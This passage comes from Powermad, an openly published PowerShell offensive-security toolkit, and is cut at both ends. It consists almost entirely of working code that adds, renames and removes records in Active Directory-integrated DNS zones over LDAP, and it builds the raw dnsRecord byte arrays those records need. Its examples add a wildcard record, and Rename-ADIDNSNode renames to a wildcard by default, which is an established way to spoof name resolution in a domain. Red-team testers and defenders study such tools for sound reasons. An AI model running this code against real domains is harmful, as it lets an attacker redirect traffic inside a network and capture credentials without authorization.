Add a wildcard record to an ADIDNS zone from a non-domain attached system.
$credential = Get-Credential
New-ADIDNSNode -Node * -DomainController dc1.test.local -Domain test.local -Zone test.local -Credential $credential
.LINK
https://github.com/Kevin-Robertson/Powermad
#>
[CmdletBinding()]
param
(
[parameter(Mandatory=$false)][String]$Data,
[parameter(Mandatory=$false)][String]$DistinguishedName,
[parameter(Mandatory=$false)][String]$Domain,
[parameter(Mandatory=$false)][String]$DomainController,
[parameter(Mandatory=$false)][String]$Forest,
[parameter(Mandatory=$true)][String]$Node,
[parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
[parameter(Mandatory=$false)][ValidateSet("A","AAAA","CNAME","DNAME","MX","NS","PTR","SRV","TXT")][String]$Type = "A",
[parameter(Mandatory=$false)][String]$Zone,
[parameter(Mandatory=$false)][Byte[]]$DNSRecord,
[parameter(Mandatory=$false)][Int]$Preference,
[parameter(Mandatory=$false)][Int]$Priority,
[parameter(Mandatory=$false)][Int]$Weight,
[parameter(Mandatory=$false)][Int]$Port,
[parameter(Mandatory=$false)][Int]$TTL = 600,
[parameter(Mandatory=$false)][Int32]$SOASerialNumber,
[parameter(Mandatory=$false)][Switch]$Static,
[parameter(Mandatory=$false)][Switch]$Tombstone,
[parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
)
if($invalid_parameter)
{
Write-Output "[-] $($invalid_parameter) is not a valid parameter"
throw
}
$null = [System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols")
if(!$DomainController -or !$Domain -or !$Zone -or !$Forest)
{
try
{
$current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
}
catch
{
Write-Output "[-] $($_.Exception.Message)"
throw
}
}
if(!$DomainController)
{
$DomainController = $current_domain.PdcRoleOwner.Name
Write-Verbose "[+] Domain Controller = $DomainController"
}
if(!$Domain)
{
$Domain = $current_domain.Name
Write-Verbose "[+] Domain = $Domain"
}
if(!$Forest)
{
$Forest = $current_domain.Forest
Write-Verbose "[+] Forest = $Forest"
}
if(!$Zone)
{
$Zone = $current_domain.Name
Write-Verbose "[+] ADIDNS Zone = $Zone"
}
if(!$DistinguishedName)
{
if($Partition -eq 'System')
{
$distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
}
else
{
$distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
}
$DC_array = $Domain.Split(".")
ForEach($DC in $DC_array)
{
$distinguished_name += ",DC=$DC"
}
Write-Verbose "[+] Distinguished Name = $distinguished_name"
}
else
{
$distinguished_name = "DC=$Node," + $DistinguishedName
}
if(!$DNSRecord)
{
try
{
if($Static)
{
$DNSRecord = New-DNSRecordArray -Data $Data -DomainController $DomainController -Port $Port -Preference $Preference -Priority $Priority -SOASerialNumber $SOASerialNumber -TTL $TTL -Type $Type -Weight $Weight -Zone $Zone -Static
}
else
{
$DNSRecord = New-DNSRecordArray -Data $Data -DomainController $DomainController -Port $Port -Preference $Preference -Priority $Priority -SOASerialNumber $SOASerialNumber -TTL $TTL -Type $Type -Weight $Weight -Zone $Zone
}
Write-Verbose "[+] DNSRecord = $([System.Bitconverter]::ToString($DNSRecord))"
}
catch
{
Write-Output "[-] $($_.Exception.Message)"
throw
}
}
$identifier = New-Object System.DirectoryServices.Protocols.LdapDirectoryIdentifier($DomainController,389)
if($Credential)
{
$connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier,$Credential.GetNetworkCredential())
}
else
{
$connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier)
}
$object_category = "CN=Dns-Node,CN=Schema,CN=Configuration"
$forest_array = $Forest.Split(".")
ForEach($DC in $forest_array)
{
$object_category += ",DC=$DC"
}
try
{
$connection.SessionOptions.Sealing = $true
$connection.SessionOptions.Signing = $true
$connection.Bind()
$request = New-Object -TypeName System.DirectoryServices.Protocols.AddRequest
$request.DistinguishedName = $distinguished_name
$request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectClass",@("top","dnsNode"))) > $null
$request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectCategory",$object_category)) > $null
$request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "dnsRecord",$DNSRecord)) > $null
if($Tombstone)
{
$request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "dNSTombstoned","TRUE")) > $null
}
$connection.SendRequest($request) > $null
Write-Output "[+] ADIDNS node $Node added"
}
catch
{
Write-Output "[-] $($_.Exception.Message)"
}
}
function New-SOASerialNumberArray
{
<#
.SYNOPSIS
This function gets the current SOA serial number for a DNS zone and increments it by the
set amount.
Author: Kevin Robertson (@kevin_robertson)
License: BSD 3-Clause
.DESCRIPTION
This function can be used to create a byte array which contains the correct SOA serial number for the
next record that will be created with New-DNSRecordArray.
.PARAMETER DomainController
Domain controller to target. This parameter is mandatory on a non-domain attached system.
.PARAMETER Zone
The DNS zone.
.PARAMETER Increment
Default = 1: The number that will be added to the SOA serial number pulled from a DNS server.
.PARAMETER SOASerialNumber
The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a
DNS server and querying an SOA record.
.EXAMPLE
Generate a byte array from the currect SOA serial number incremented by one.
New-SOASerialNumberArray
.LINK
https://github.com/Kevin-Robertson/Powermad
#>
[CmdletBinding()]
param
(
[parameter(Mandatory=$false)][String]$DomainController,
[parameter(Mandatory=$false)][String]$Zone,
[parameter(Mandatory=$false)][Int]$Increment = 1,
[parameter(Mandatory=$false)][Int32]$SOASerialNumber,
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
)
if($invalid_parameter)
{
Write-Output "[-] $($invalid_parameter) is not a valid parameter"
throw
}
if(!$SOASerialNumber)
{
if(!$DomainController -or !$Zone)
{
try
{
$current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
}
catch
{
Write-Output "[-] $($_.Exception.Message)"
throw
}
}
if(!$DomainController)
{
$DomainController = $current_domain.PdcRoleOwner.Name
Write-Verbose "[+] Domain Controller = $DomainController"
}
if(!$Domain)
{
$Domain = $current_domain.Name
Write-Verbose "[+] Domain = $Domain"
}
if(!$Zone)
{
$Zone = $current_domain.Name
Write-Verbose "[+] ADIDNS Zone = $Zone"
}
$Zone = $Zone.ToLower()
function Convert-DataToUInt16($Field)
{
[Array]::Reverse($Field)
return [System.BitConverter]::ToUInt16($Field,0)
}
function ConvertFrom-PacketOrderedDictionary($OrderedDictionary)
{
ForEach($field in $OrderedDictionary.Values)
{
$byte_array += $field
}
return $byte_array
}
function New-RandomByteArray
{
param([Int]$Length,[Int]$Minimum=1,[Int]$Maximum=255)
[String]$random = [String](1..$Length | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum $Minimum -Maximum $Maximum)})
[Byte[]]$random = $random.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
return $random
}
function New-DNSNameArray
{
param([String]$Name)
$character_array = $Name.ToCharArray()
[Array]$index_array = 0..($character_array.Count - 1) | Where-Object {$character_array[$_] -eq '.'}
if($index_array.Count -gt 0)
{
$name_start = 0
ForEach ($index in $index_array)
{
$name_end = $index - $name_start
[Byte[]]$name_array += $name_end
[Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start,$name_end))
$name_start = $index + 1
}
[Byte[]]$name_array += ($Name.Length - $name_start)
[Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start))
}
else
{
[Byte[]]$name_array = $Name.Length
[Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start))
}
return $name_array
}
function New-PacketDNSSOAQuery
{
param([String]$Name)
[Byte[]]$type = 0x00,0x06
[Byte[]]$name = (New-DNSNameArray $Name) + 0x00
[Byte[]]$length = [System.BitConverter]::GetBytes($Name.Count + 16)[1,0]
[Byte[]]$transaction_ID = New-RandomByteArray 2
$DNSQuery = New-Object System.Collections.Specialized.OrderedDictionary
$DNSQuery.Add("Length",$length)
$DNSQuery.Add("TransactionID",$transaction_ID)
$DNSQuery.Add("Flags",[Byte[]](0x01,0x00))
$DNSQuery.Add("Questions",[Byte[]](0x00,0x01))
$DNSQuery.Add("AnswerRRs",[Byte[]](0x00,0x00))
$DNSQuery.Add("AuthorityRRs",[Byte[]](0x00,0x00))
$DNSQuery.Add("AdditionalRRs",[Byte[]](0x00,0x00))
$DNSQuery.Add("Queries_Name",$name)
$DNSQuery.Add("Queries_Type",$type)
$DNSQuery.Add("Queries_Class",[Byte[]](0x00,0x01))
return $DNSQuery
}
$DNS_client = New-Object System.Net.Sockets.TCPClient
$DNS_client.Client.ReceiveTimeout = 3000
try
{
$DNS_client.Connect($DomainController,"53")
$DNS_client_stream = $DNS_client.GetStream()
$DNS_client_receive = New-Object System.Byte[] 2048
$packet_DNSQuery = New-PacketDNSSOAQuery $Zone
[Byte[]]$DNS_client_send = ConvertFrom-PacketOrderedDictionary $packet_DNSQuery
$DNS_client_stream.Write($DNS_client_send,0,$DNS_client_send.Length) > $null
$DNS_client_stream.Flush()
$DNS_client_stream.Read($DNS_client_receive,0,$DNS_client_receive.Length) > $null
$DNS_client.Close()
$DNS_client_stream.Close()
if($DNS_client_receive[9] -eq 0)
{
Write-Output "[-] $Zone SOA record not found"
}
else
{
$DNS_reply_converted = [System.BitConverter]::ToString($DNS_client_receive)
$DNS_reply_converted = $DNS_reply_converted -replace "-",""
$SOA_answer_index = $DNS_reply_converted.IndexOf("C00C00060001")
$SOA_answer_index = $SOA_answer_index / 2
$SOA_length = $DNS_client_receive[($SOA_answer_index + 10)..($SOA_answer_index + 11)]
$SOA_length = Convert-DataToUInt16 $SOA_length
[Byte[]]$SOA_serial_current_array = $DNS_client_receive[($SOA_answer_index + $SOA_length - 8)..($SOA_answer_index + $SOA_length - 5)]
$SOA_serial_current = [System.BitConverter]::ToUInt32($SOA_serial_current_array[3..0],0) + $Increment
[Byte[]]$SOA_serial_number_array = [System.BitConverter]::GetBytes($SOA_serial_current)[0..3]
}
}
catch
{
Write-Output "[-] $DomainController did not respond on TCP port 53"
}
}
else
{
[Byte[]]$SOA_serial_number_array = [System.BitConverter]::GetBytes($SOASerialNumber + $Increment)[0..3]
}
return ,$SOA_serial_number_array
}
function New-DNSRecordArray
{
<#
.SYNOPSIS
This function creates a valid byte array for the dnsRecord attribute.
Author: Kevin Robertson (@kevin_robertson)
License: BSD 3-Clause
.DESCRIPTION
DNS record types and targets are defined within the dnsRecord attribute. This function will create a valid
array for record type and data. The arrays can be passed to both New-ADIDNSNode and Set-ADIDNSNodeAttribute
.PARAMETER Data
For most record types this will be the destination hostname or IP address. For TXT records this can be used
for data.
.PARAMETER DomainController
Domain controller that will be passed to New-SOASerialNumberArray. This parameter is mandatory on a non-domain
attached system.
.PARAMETER Port
SRV record port.
.PARAMETER Preference
MX record preference.
.PARAMETER Priority
SRV record priority.
.PARAMETER SOASerialNumber
The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a
DNS server and querying an SOA record.
.PARAMETER Static
Switch: Zeros out the timestamp to create a static record instead of a dynamic.
.PARAMETER TTL
Default = 600: DNS record TTL.
.PARAMETER Type
Default = A: DNS record type. This function supports A, AAAA, CNAME, DNAME, MX, PTR, SRV, and TXT.
.PARAMETER Weight
SRV record weight.
.PARAMETER Zone
The DNS zone that will be passed to New-SOASerialNumberArray.
.EXAMPLE
Create a dnsRecord array for an A record pointing to 192.168.0.1.
New-DNSRecordArray -Type A -Data 192.168.0.1
.LINK
https://github.com/Kevin-Robertson/Powermad
#>
[CmdletBinding()]
[OutputType([Byte[]])]
param
(
[parameter(Mandatory=$false)][String]$Data,
[parameter(Mandatory=$false)][String]$DomainController,
[parameter(Mandatory=$false)][ValidateSet("A","AAAA","CNAME","DNAME","MX","NS","PTR","SRV","TXT")][String]$Type = "A",
[parameter(Mandatory=$false)][String]$Zone,
[parameter(Mandatory=$false)][Int]$Preference,
[parameter(Mandatory=$false)][Int]$Priority,
[parameter(Mandatory=$false)][Int]$Weight,
[parameter(Mandatory=$false)][Int]$Port,
[parameter(Mandatory=$false)][Int]$TTL = 600,
[parameter(Mandatory=$false)][Int32]$SOASerialNumber,
[parameter(Mandatory=$false)][Switch]$Static,
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
)
if($invalid_parameter)
{
Write-Output "[-] $($invalid_parameter) is not a valid parameter"
throw
}
if(!$Data -and $Type -eq 'A')
{
try
{
$Data = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address)
Write-Verbose "[+] Data = $Data"
}
catch
{
Write-Output "[-] Error finding local IP, specify manually with -Data"
throw
}
}
elseif(!$Data)
{
Write-Output "[-] -Data required with record type $Type"
throw
}
try
{
$SOASerialNumberArray = New-SOASerialNumberArray -DomainController $DomainController -Zone $Zone -SOASerialNumber $SOASerialNumber
}
catch
{
Write-Output "[-] $($_.Exception.Message)"
throw
}
function New-DNSNameArray
{
param([String]$Name)
$character_array = $Name.ToCharArray()
[Array]$index_array = 0..($character_array.Count - 1) | Where-Object {$character_array[$_] -eq '.'}
if($index_array.Count -gt 0)
{
$name_start = 0
ForEach ($index in $index_array)
{
$name_end = $index - $name_start
[Byte[]]$name_array += $name_end
[Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start,$name_end))
$name_start = $index + 1
}
[Byte[]]$name_array += ($Name.Length - $name_start)
[Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start))
}
else
{
[Byte[]]$name_array = $Name.Length
[Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start))
}
return $name_array
}
switch ($Type)
{
'A'
{
[Byte[]]$DNS_type = 0x01,0x00
[Byte[]]$DNS_length = ([System.BitConverter]::GetBytes(($Data.Split(".")).Count))[0..1]
[Byte[]]$DNS_data += ([System.Net.IPAddress][String]([System.Net.IPAddress]$Data)).GetAddressBytes()
}
'AAAA'
{
[Byte[]]$DNS_type = 0x1c,0x00
[Byte[]]$DNS_length = ([System.BitConverter]::GetBytes(($Data -replace ":","").Length / 2))[0..1]
[Byte[]]$DNS_data += ([System.Net.IPAddress][String]([System.Net.IPAddress]$Data)).GetAddressBytes()
}
'CNAME'
{
[Byte[]]$DNS_type = 0x05,0x00
[Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1]
[Byte[]]$DNS_data = $Data.Length + 2
$DNS_data += ($Data.Split(".")).Count
$DNS_data += New-DNSNameArray $Data
$DNS_data += 0x00
}
'DNAME'
{
[Byte[]]$DNS_type = 0x27,0x00
[Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1]
[Byte[]]$DNS_data = $Data.Length + 2
$DNS_data += ($Data.Split(".")).Count
$DNS_data += New-DNSNameArray $Data
$DNS_data += 0x00
}
'MX'
{
[Byte[]]$DNS_type = 0x0f,0x00
[Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 6))[0..1]
[Byte[]]$DNS_data = [System.Bitconverter]::GetBytes($Preference)[1,0]
$DNS_data += $Data.Length + 2
$DNS_data += ($Data.Split(".")).Count
$DNS_data += New-DNSNameArray $Data
$DNS_data += 0x00
}
'NS'
{
[Byte[]]$DNS_type = 0x02,0x00
[Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1]
[Byte[]]$DNS_data = $Data.Length + 2
$DNS_data += ($Data.Split(".")).Count
$DNS_data += New-DNSNameArray $Data
$DNS_data += 0x00
}
'PTR'
{
[Byte[]]$DNS_type = 0x0c,0x00
[Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1]
[Byte[]]$DNS_data = $Data.Length + 2
$DNS_data += ($Data.Split(".")).Count
$DNS_data += New-DNSNameArray $Data
$DNS_data += 0x00
}
'SRV'
{
[Byte[]]$DNS_type = 0x21,0x00
[Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 10))[0..1]
[Byte[]]$DNS_data = [System.Bitconverter]::GetBytes($Priority)[1,0]
$DNS_data += [System.Bitconverter]::GetBytes($Weight)[1,0]
$DNS_data += [System.Bitconverter]::GetBytes($Port)[1,0]
$DNS_data += $Data.Length + 2
$DNS_data += ($Data.Split(".")).Count
$DNS_data += New-DNSNameArray $Data
$DNS_data += 0x00
}
'TXT'
{
[Byte[]]$DNS_type = 0x10,0x00
[Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 1))[0..1]
[Byte[]]$DNS_data = $Data.Length
$DNS_data += [System.Text.Encoding]::UTF8.GetBytes($Data)
}
}
[Byte[]]$DNS_TTL = [System.BitConverter]::GetBytes($TTL)
[Byte[]]$DNS_record = $DNS_length +
$DNS_type +
0x05,0xF0,0x00,0x00 +
$SOASerialNumberArray[0..3] +
$DNS_TTL[3..0] +
0x00,0x00,0x00,0x00
if($Static)
{
$DNS_record += 0x00,0x00,0x00,0x00
}
else
{
$timestamp = [Int64](([Datetime]::UtcNow)-(Get-Date "1/1/1601")).TotalHours
$timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($timestamp))
$timestamp = $timestamp.Split("-") | ForEach-Object{[System.Convert]::ToInt16($_,16)}
$timestamp = $timestamp[0..3]
$DNS_record += $timestamp
}
$DNS_record += $DNS_data
return ,$DNS_record
}
function Rename-ADIDNSNode
{
<#
.SYNOPSIS
This function renames an ADIDNS node.
Author: Kevin Robertson (@kevin_robertson)
License: BSD 3-Clause
.DESCRIPTION
This function can be used to rename an ADIDNS node. Note that renaming the ADIDNS node will leave the old
record within DNS.
.PARAMETER Credential
PSCredential object that will be used to rename the ADIDNS node.
.PARAMETER DistinguishedName
Distinguished name for the ADIDNS zone. Do not include the node name.
.PARAMETER Domain
The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
parameter.
.PARAMETER DomainController
Domain controller to target. This parameter is mandatory on a non-domain attached system.
.PARAMETER Node
The source ADIDNS node name.
.PARAMETER NodeNew
The new ADIDNS node name.
.PARAMETER Partition
Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone,System) The AD partition name where the zone is stored.
.PARAMETER Zone
The ADIDNS zone.
.EXAMPLE
Renames an ADIDNS node named test to test2.
Rename-ADIDNSNode -Node test -NodeNew test2
.LINK
https://github.com/Kevin-Robertson/Powermad
#>
[CmdletBinding()]
param
(
[parameter(Mandatory=$false)][String]$DistinguishedName,
[parameter(Mandatory=$false)][String]$Domain,
[parameter(Mandatory=$false)][String]$DomainController,
[parameter(Mandatory=$true)][String]$Node,
[parameter(Mandatory=$false)][String]$NodeNew = "*",
[parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
[parameter(Mandatory=$false)][String]$Zone,
[parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
)
if($invalid_parameter)
{
Write-Output "[-] $($invalid_parameter) is not a valid parameter"
throw
}
if(!$DomainController -or !$Domain -or !$Zone)
{
try
{
$current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
}
catch
{
Write-Output "[-] $($_.Exception.Message)"
throw
}
}
if(!$DomainController)
{
$DomainController = $current_domain.PdcRoleOwner.Name
Write-Verbose "[+] Domain Controller = $DomainController"
}
if(!$Domain)
{
$Domain = $current_domain.Name
Write-Verbose "[+] Domain = $Domain"
}
if(!$Zone)
{
$Zone = $current_domain.Name
Write-Verbose "[+] ADIDNS Zone = $Zone"
}
if(!$DistinguishedName)
{
if($Partition -eq 'System')
{
$distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
}
else
{
$distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
}
$DC_array = $Domain.Split(".")
ForEach($DC in $DC_array)
{
$distinguished_name += ",DC=$DC"
}
Write-Verbose "[+] Distinguished Name = $distinguished_name"
}
else
{
$distinguished_name = $DistinguishedName
}
if($Credential)
{
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
}
else
{
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
}
try
{
$directory_entry.Rename("DC=$NodeNew")
Write-Output "[+] ADIDNS node $Node renamed to $NodeNew"
}
catch
{
Write-Output "[-] $($_.Exception.Message)"
}
if($directory_entry.Path)
{
$directory_entry.Close()
}
}
function Remove-ADIDNSNode
{
<#
.SYNOPSIS
This function removes an ADIDNS node.
Author: Kevin Robertson (@kevin_robertson)
License: BSD 3-Clause
.DESCRIPTION
This function can be used to remove an ADIDNS node. Note that the if the node has not been tombstoned and
allowed to repliate to all domain controllers, the record will remain in DNS.
.PARAMETER Credential
PSCredential object that will be used to delete the ADIDNS node.
.PARAMETER DistinguishedName
Distinguished name for the ADIDNS zone. Do not include the node name.
.PARAMETER Domain
The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
parameter.
.PARAMETER DomainController
Domain controller to target. This parameter is mandatory on a non-domain attached system.
.PARAMETER Node
The ADIDNS node name.
.PARAMETER Partition
Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone,System) The AD partition name where the zone is stored.
.PARAMETER Zone
The ADIDNS zone.
.EXAMPLE
Removes a wildcard node.
Remove-ADIDNSNode -Node *
.LINK
https://github.com/Kevin-Robertson/Powermad
#>
[CmdletBinding()]
param
(
[parameter(Mandatory=$false)][String]$DistinguishedName,
[parameter(Mandatory=$false)][String]$Domain,
[parameter(Mandatory=$false)][String]$DomainController,
[parameter(Mandatory=$true)][String]$Node,
[parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
[parameter(Mandatory=$false)][String]$Zone,
[parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
)
if($invalid_parameter)
{
Write-Output "[-] $($invalid_parameter) is not a valid parameter"
throw
}
if(!$DomainController -or !$Domain -or !$Zone)
{
try
{
$current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
}
catch
{
Write-Output "[-] $($_.Exception.Message)"
throw
}
}